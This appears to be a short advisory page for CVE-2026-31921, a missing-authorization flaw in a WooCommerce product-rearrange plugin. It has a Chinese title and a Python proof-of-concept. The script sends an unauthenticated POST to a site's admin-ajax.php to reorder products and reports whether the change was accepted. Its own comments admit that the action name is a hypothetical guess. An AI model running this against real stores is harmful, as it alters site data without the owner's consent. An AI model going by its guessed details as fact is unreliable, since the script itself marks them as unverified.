CVE-2026-31921 WooCommerce产品重排插件权限缺失漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-31921 Checks for missing authorization in Product Rearrange for WooCommerce """ # The specific action name needs to be reverse-engineered from the plugin code # Assuming a common action name based on the plugin functionality endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' payload = { 'action': 'products_rearrange_update', # Hypothetical action name 'product_id': '1', 'new_position': '999' } try: response = requests.post(endpoint, data=payload, timeout=10) # Analyze response to see if the action was performed without authentication if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] Potential vulnerability detected at {target_url}") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Vulnerability not detected or action name incorrect.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL check_vulnerability(target)